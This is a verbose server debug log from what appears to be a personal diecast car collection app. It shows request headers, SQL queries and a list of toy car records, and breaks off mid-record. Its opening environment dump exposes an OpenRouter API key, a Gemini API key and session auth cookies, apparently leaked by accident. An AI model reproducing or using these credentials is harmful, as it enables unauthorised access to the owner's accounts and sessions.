    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': { fragment: 'true' },
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"Windows"',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/149.0.0.0 Safari/537.36',
    accept: 'text/fragment+html',
    'sec-ch-ua': '"Google Chrome";v="149", "Chromium";v="149", "Not)A;Brand";v="24"',
    'sec-ch-ua-mobile': '?0',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'cors',
    'sec-fetch-dest': 'empty',
    referer: 'https://ems.sanjaychaurasia.xyz/diecast',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    priority: 'u=1, i',
    cookie: 'security.auth=s%3AdAm7BGcFfqLXaYO9AXNf0A%3D%3D.iInXcNeVCIMUi%2Fq1Kw5GhQWoyIcopn4hOO0h8%2BUb5x6yiVSkl4V22iTVHbgQTWNfwaDCL3zNbXPp%2Bpxrx8r%2FnAZ9RKnKThe72ZUYHUZwQZ5SYcvoyPcyXZxZVvA%2BtKvezq0gDQFGpHbW0g%2FIVsUDddl5B0uGlUn2l5fLJ5uXP8g%3D.Pn%2BtVDBdY6qPxmZEdHd3HZ%2FZ4H%2FiwjYo78luyWMEOOQ; your_r_git.sid=s%3Av_Vsyho4KiE0Eb6mc6kHfG9v3RRIi6TS.mbM95ImPj%2Bzb5Zm1ph76PbFwTYEI3%2FM0fj6ZXY5wllI',
    'x-forwarded-for': '65.20.70.39',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-07-04T09:27:29.533Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/diecast',
    QUERY_STRING: 'fragment=true',
    REMOTE_ADDR: '65.20.70.39',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/diecast',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/149.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/fragment+html',
    'HTTP_SEC_CH-UA': '"Google Chrome";v="149", "Chromium";v="149", "Not)A;Brand";v="24"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'cors',
    'HTTP_SEC_FETCH-DEST': 'empty',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/diecast',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    HTTP_PRIORITY: 'u=1, i',
    HTTP_COOKIE: 'security.auth=s%3AdAm7BGcFfqLXaYO9AXNf0A%3D%3D.iInXcNeVCIMUi%2Fq1Kw5GhQWoyIcopn4hOO0h8%2BUb5x6yiVSkl4V22iTVHbgQTWNfwaDCL3zNbXPp%2Bpxrx8r%2FnAZ9RKnKThe72ZUYHUZwQZ5SYcvoyPcyXZxZVvA%2BtKvezq0gDQFGpHbW0g%2FIVsUDddl5B0uGlUn2l5fLJ5uXP8g%3D.Pn%2BtVDBdY6qPxmZEdHd3HZ%2FZ4H%2FiwjYo78luyWMEOOQ; your_r_git.sid=s%3Av_Vsyho4KiE0Eb6mc6kHfG9v3RRIi6TS.mbM95ImPj%2Bzb5Zm1ph76PbFwTYEI3%2FM0fj6ZXY5wllI',
    'HTTP_X_FORWARDED-FOR': '65.20.70.39',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1
}
2026-07-03T10:37:19.652Z server-connect:router Serving serverConnect /api/masters/collections/list
2026-07-03T10:37:19.653Z server-connect:router Serving serverConnect /api/diecast/list
2026-07-03T10:37:19.655Z server-connect:router Serving serverConnect /api/diecast/get-filters
2026-07-03T10:37:19.656Z server-connect:router Serving serverConnect /api/masters/collections/list
2026-07-03T10:37:19.656Z server-connect:app Executing action step identify
2026-07-03T10:37:19.657Z server-connect:app options: { provider: 'security' }
2026-07-03T10:37:19.657Z server-connect:output identity: 1
2026-07-03T10:37:19.657Z server-connect:app Executing action step restrict
2026-07-03T10:37:19.657Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-07-03T10:37:19.657Z server-connect:app Executing action step identify
2026-07-03T10:37:19.657Z server-connect:app options: { provider: 'security' }
2026-07-03T10:37:19.657Z server-connect:output identity: 1
2026-07-03T10:37:19.657Z server-connect:app Executing action step restrict
2026-07-03T10:37:19.657Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-07-03T10:37:19.659Z server-connect:router Serving serverConnect /api/masters/collections/list
2026-07-03T10:37:19.660Z server-connect:output restrict: undefined
2026-07-03T10:37:19.661Z server-connect:app Executing action step paged
2026-07-03T10:37:19.661Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object], [Object],
      [Object], [Object], [Object],
      [Object], [Object], [Object],
      [Object], [Object], [Object],
      [Object], [Object], [Object],
      [Object], [Object], [Object],
      [Object]
    ],
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object], [Object], [Object] ],
    sub: { diecast_images: [Object] },
    query: 'select `diecast_cars`.`id`, `diecast_cars`.`model_name`, `diecast_cars`.`release_year`, `diecast_cars`.`scale`, `diecast_cars`.`has_real_car`, `diecast_cars`.`purchase_date`, `diecast_cars`.`price`, `c1`.`name` as `brand`, `c2`.`name` as `series`, `diecast_cars`.`brand_id`, `diecast_cars`.`series` as `series_id`, `diecast_cars`.`case`, `c3`.`name` as `vehicle_brand_name`, `diecast_cars`.`vehicle_brand_id`, `diecast_cars`.`condition`, `diecast_cars`.`yt_short_created`, `diecast_cars`.`yt_video_created`, `diecast_cars`.`photoshoot`, `diecast_cars`.`overview_created` from `diecast_cars` left join `collections` as `c1` on `c1`.`id` = `diecast_cars`.`brand_id` left join `collections` as `c2` on `c2`.`id` = `diecast_cars`.`series` left join `collections` as `c3` on `c3`.`id` = `diecast_cars`.`vehicle_brand_id` where (`diecast_cars`.`model_name` like ? or `diecast_cars`.`release_year` = ? or `c1`.`name` like ? or `c2`.`name` like ?) and (`diecast_cars`.`brand_id` = ?) and (`diecast_cars`.`series` = ?) and (`diecast_cars`.`vehicle_brand_id` = ?) and (`diecast_cars`.`condition` = ?) and (`diecast_cars`.`yt_short_created` = ?) and (`diecast_cars`.`yt_video_created` = ?) and (`diecast_cars`.`photoshoot` = ?) and (`diecast_cars`.`overview_created` = ?) order by `diecast_cars`.`id` DESC',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    orders: [ [Object] ]
  }
}
2026-07-03T10:37:19.663Z server-connect:output restrict: undefined
2026-07-03T10:37:19.663Z server-connect:app Executing action step select
2026-07-03T10:37:19.663Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `name`, `id` from `collections` where `collections`.`collectiontype_id` = ?'
  }
}
2026-07-03T10:37:19.664Z server-connect:app Executing action step identify
2026-07-03T10:37:19.664Z server-connect:app options: { provider: 'security' }
2026-07-03T10:37:19.664Z server-connect:output identity: 1
2026-07-03T10:37:19.664Z server-connect:app Executing action step restrict
2026-07-03T10:37:19.664Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-07-03T10:37:19.664Z server-connect:app Executing action step identify
2026-07-03T10:37:19.664Z server-connect:app options: { provider: 'security' }
2026-07-03T10:37:19.665Z server-connect:output identity: 1
2026-07-03T10:37:19.665Z server-connect:app Executing action step restrict
2026-07-03T10:37:19.665Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-07-03T10:37:19.667Z server-connect:output list: [
  { name: 'Mainline', id: 75 },
  { name: 'Premium', id: 76 },
  { name: 'Treasure Hunt', id: 77 },
  { name: 'Super Treasure Hunt', id: 78 },
  { name: 'Car Culture', id: 79 },
  { name: 'HW Red Line Club', id: 80 },
  { name: 'Multipack', id: 81 },
  { name: 'Exclusive', id: 82 },
  { name: 'Moving Parts', id: 83 },
  { name: 'Collectors', id: 84 },
  { name: 'Racing Cars', id: 85 },
  { name: 'Vintage', id: 86 },
  { name: 'Deluxe Cars', id: 87 },
  { name: 'Giftpack', id: 88 },
  { name: 'Construction', id: 89 },
  { name: 'Emergency', id: 90 },
  { name: 'Basic', id: 91 },
  { name: 'Fantasy', id: 92 },
  { name: 'Other', id: 93 },
  { name: 'HW Dirt', id: 94 },
  { name: 'HW Race day', id: 95 },
  { name: 'HW Muscle Mania', id: 96 },
  { name: 'HW Hot Trucks', id: 97 },
  { name: 'HW Celebration Racers', id: 98 },
  { name: 'HW 70s vs 90s', id: 99 },
  { name: 'HW Track Champs', id: 100 },
  { name: 'HW Then and now', id: 101 },
  { name: 'HW Wagons', id: 102 },
  { name: 'HW Modified', id: 103 },
  { name: 'HW Wide Widebody', id: 104 },
  { name: 'HW Art Cars', id: 105 },
  { name: 'HW Peak Pursuit', id: 106 },
  { name: 'HW EV', id: 107 },
  { name: 'HW Safari Mode', id: 144 },
  { name: 'HW Factory Fresh', id: 145 },
  { name: 'HW Track Aces', id: 146 },
  { name: 'HW Mustang 60th', id: 147 },
  { name: 'HW Wild Widebody', id: 148 },
  { name: 'HW Compact Kings', id: 149 },
  { name: 'HW Reverse Rake', id: 150 },
  { name: 'HW Rod Squad', id: 151 },
  { name: 'HW Fan Driver', id: 159 },
  { name: "HW Truckin' Along", id: 160 },
  { name: 'HW Batman', id: 161 },
  { name: 'Neon Speeders - Mix 2', id: 162 },
  { name: 'HW Starting Grid', id: 163 },
  { name: 'HW Nightspeed', id: 164 },
  { name: 'HW Metro', id: 165 },
  { name: 'HW Experimotors', id: 166 },
  { name: 'HW Exotics', id: 170 },
  { name: 'Majorette Dream Italy Gift Set', id: 171 },
  { name: 'Majorette Light Racer Gift Set', id: 172 },
  { name: 'Majorette Porsche Edition Gift Set', id: 173 },
  { name: 'Majorette Limited Edition 9 Gift Set', id: 174 },
  { name: 'HW Silver Series', id: 176 },
  { name: 'HW Ride-Ons', id: 178 },
  { name: 'HW Euro', id: 179 },
  { name: 'HW Pantone', id: 180 },
  { name: 'HW Pop Culture', id: 181 },
  { name: 'Majorette Black Edition Gift Set', id: 193 },
  { name: 'Majorette Mercedes AMG Gift Set', id: 194 },
  { name: 'Majorette Castheads Gift Set', id: 195 }
]
2026-07-03T10:37:19.669Z server-connect:app Executing action step identify
2026-07-03T10:37:19.669Z server-connect:app options: { provider: 'security' }
2026-07-03T10:37:19.669Z server-connect:output identity: 1
2026-07-03T10:37:19.669Z server-connect:app Executing action step restrict
2026-07-03T10:37:19.669Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-07-03T10:37:19.671Z server-connect:output restrict: undefined
2026-07-03T10:37:19.671Z server-connect:app Executing action step select
2026-07-03T10:37:19.672Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select distinct `collections`.`id`, `collections`.`name` from `diecast_cars` inner join `collections` on `collections`.`id` = `diecast_cars`.`vehicle_brand_id` order by `collections`.`name` ASC',
    orders: [ [Object] ],
    distinct: true
  }
}
2026-07-03T10:37:19.673Z server-connect:output restrict: undefined
2026-07-03T10:37:19.673Z server-connect:app Executing action step select
2026-07-03T10:37:19.673Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `name`, `id` from `collections` where `collections`.`collectiontype_id` = ?'
  }
}
2026-07-03T10:37:19.674Z server-connect:output restrict: undefined
2026-07-03T10:37:19.674Z server-connect:app Executing action step select
2026-07-03T10:37:19.674Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `name`, `id` from `collections` where `collections`.`collectiontype_id` = ?'
  }
}
2026-07-03T10:37:19.677Z server-connect:output list: [
  { name: 'Hotwheels', id: 71 },
  { name: 'Majorette', id: 72 },
  { name: 'Matchbox', id: 73 },
  { name: 'Bburago', id: 74 },
  { name: 'Maisto', id: 143 },
  { name: 'CCA', id: 158 },
  { name: 'Jams Toys', id: 191 }
]
2026-07-03T10:37:19.679Z server-connect:output brand: [
  { id: 128, name: 'Alfa Romeo' },
  { id: 196, name: 'Alpine' },
  { id: 132, name: 'Audi' },
  { id: 136, name: 'Austin' },
  { id: 125, name: 'Bentley' },
  { id: 126, name: 'BMW' },
  { id: 129, name: 'Bugatti' },
  { id: 169, name: 'Cadillac' },
  { id: 118, name: 'Chevrolet' },
  { id: 152, name: 'Corvette ' },
  { id: 135, name: 'Czinger' },
  { id: 186, name: 'Datsun' },
  { id: 127, name: 'Dodge' },
  { id: 142, name: 'Fantasy' },
  { id: 124, name: 'Ferrari' },
  { id: 108, name: 'Ford' },
  { id: 139, name: 'Formula' },
  { id: 140, name: 'GMC' },
  { id: 138, name: 'Gordon Murray' },
  { id: 112, name: 'Honda' },
  { id: 133, name: 'Jaguar' },
  { id: 122, name: 'Jeep' },
  { id: 115, name: 'Lamborghini' },
  { id: 117, name: 'Land Rover' },
  { id: 197, name: 'Lexus' },
  { id: 185, name: 'Lotus' },
  { id: 184, name: 'Lucid' },
  { id: 157, name: 'Masserti' },
  { id: 137, name: 'Mazda' },
  { id: 155, name: 'MBX' },
  { id: 114, name: 'McLaren' },
  { id: 167, name: 'Mcmurtry' },
  { id: 113, name: 'Mercedes' },
  { id: 116, name: 'Nissan' },
  { id: 168, name: 'Pagani' },
  { id: 121, name: 'Peugeot' },
  { id: 192, name: 'Pierce' },
  { id: 190, name: 'Plymouth' },
  { id: 154, name: 'Polaris ' },
  { id: 134, name: 'Pontiac' },
  { id: 130, name: 'Porsche' },
  { id: 189, name: 'RAM' },
  { id: 109, name: 'Renault' },
  { id: 131, name: 'Scania' },
  { id: 183, name: 'Spider Man' },
  { id: 153, name: 'Subaru' },
  { id: 175, name: 'Suzuki' },
  { id: 119, name: 'Toyota' },
  { id: 111, name: 'Volkswagen' },
  { id: 123, name: 'Volvo' }
]
2026-07-03T10:37:19.679Z server-connect:app Executing action step select
2026-07-03T10:37:19.680Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select distinct `collections`.`id`, `collections`.`name` from `diecast_cars` inner join `collections` on `collections`.`id` = `diecast_cars`.`series` order by `collections`.`name` ASC',
    orders: [ [Object] ],
    distinct: true
  }
}
2026-07-03T10:37:19.682Z server-connect:output list: {
  offset: 0,
  limit: 25,
  total: 167,
  page: {
    offset: { first: 0, prev: 0, next: 25, last: 150 },
    current: 1,
    total: 7
  },
  data: [
    {
      id: 190,
      model_name: '2021 Lexus LC 500',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-02-08T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Lexus',
      vehicle_brand_id: 197,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 189,
      model_name: 'Porsche 911 Targa',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-02-08T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: '',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 188,
      model_name: 'Ford Bronco',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '399.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 187,
      model_name: 'Ford F-150 Raptor',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '399.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 186,
      model_name: 'Alfa Romeo Tonale',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-16T18:30:00.000Z',
      price: '350.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Alfa Romeo',
      vehicle_brand_id: 128,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 185,
      model_name: 'Volkswagen ID Buzz Cargo',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-16T18:30:00.000Z',
      price: '350.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Volkswagen',
      vehicle_brand_id: 111,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 184,
      model_name: 'Datsun 240Z',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-23T18:30:00.000Z',
      price: '350.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Datsun',
      vehicle_brand_id: 186,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 183,
      model_name: 'Alpine A110 R',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-23T18:30:00.000Z',
      price: '350.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Alpine',
      vehicle_brand_id: 196,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 182,
      model_name: 'Audi Q4 e-tron',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '350.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Audi',
      vehicle_brand_id: 132,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 181,
      model_name: 'Renault Master',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Renault',
      vehicle_brand_id: 109,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 180,
      model_name: 'Mercedes-Benz G 500',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Castheads Gift Set',
      brand_id: 72,
      series_id: 195,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 179,
      model_name: 'Mercedes-Benz 190 E 2.5-16 EVO II',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Castheads Gift Set',
      brand_id: 72,
      series_id: 195,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 178,
      model_name: 'Land Rover Defender 90',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Castheads Gift Set',
      brand_id: 72,
      series_id: 195,
      case: '',
      vehicle_brand_name: 'Land Rover',
      vehicle_brand_id: 117,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 177,
      model_name: 'Ford Bronco Wildtrak',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Castheads Gift Set',
      brand_id: 72,
      series_id: 195,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 176,
      model_name: 'Ford Mustang Fastback',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Castheads Gift Set',
      brand_id: 72,
      series_id: 195,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 175,
      model_name: 'Mercedes-AMG CLE 53 ',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Mercedes AMG Gift Set',
      brand_id: 72,
      series_id: 194,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 174,
      model_name: 'Mercedes-AMG GLC 63 S',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Mercedes AMG Gift Set',
      brand_id: 72,
      series_id: 194,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 173,
      model_name: 'Mercedes-AMG A 35',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Mercedes AMG Gift Set',
      brand_id: 72,
      series_id: 194,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 172,
      model_name: 'Mercedes-AMG SL 63',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Mercedes AMG Gift Set',
      brand_id: 72,
      series_id: 194,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 171,
      model_name: 'Mercedes-AMG GT 63',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Mercedes AMG Gift Set',
      brand_id: 72,
      series_id: 194,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 165,
      model_name: 'GMC Hummer EV',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'GMC',
      vehicle_brand_id: 140,
      condition: 'Uncarded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 164,
      model_name: 'Land Rover Defender 90',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'Land Rover',
      vehicle_brand_id: 117,
      condition: 'Uncarded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 163,
      model_name: 'Toyota GR Supra',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'Toyota',
      vehicle_brand_id: 119,
      condition: 'Uncarded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 162,
      model_name: 'Lamborghini Sián FKP 37',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'Lamborghini',
      vehicle_brand_id: 115,
      condition: 'Uncarded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 161,
      model_name: 'Bugatti Chiron Pur Sport',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'Bugatti',
      vehicle_brand_id: 129,
      condition: 'Uncarded',
      yt_short_created: 0,
      yt_video_created: 0,
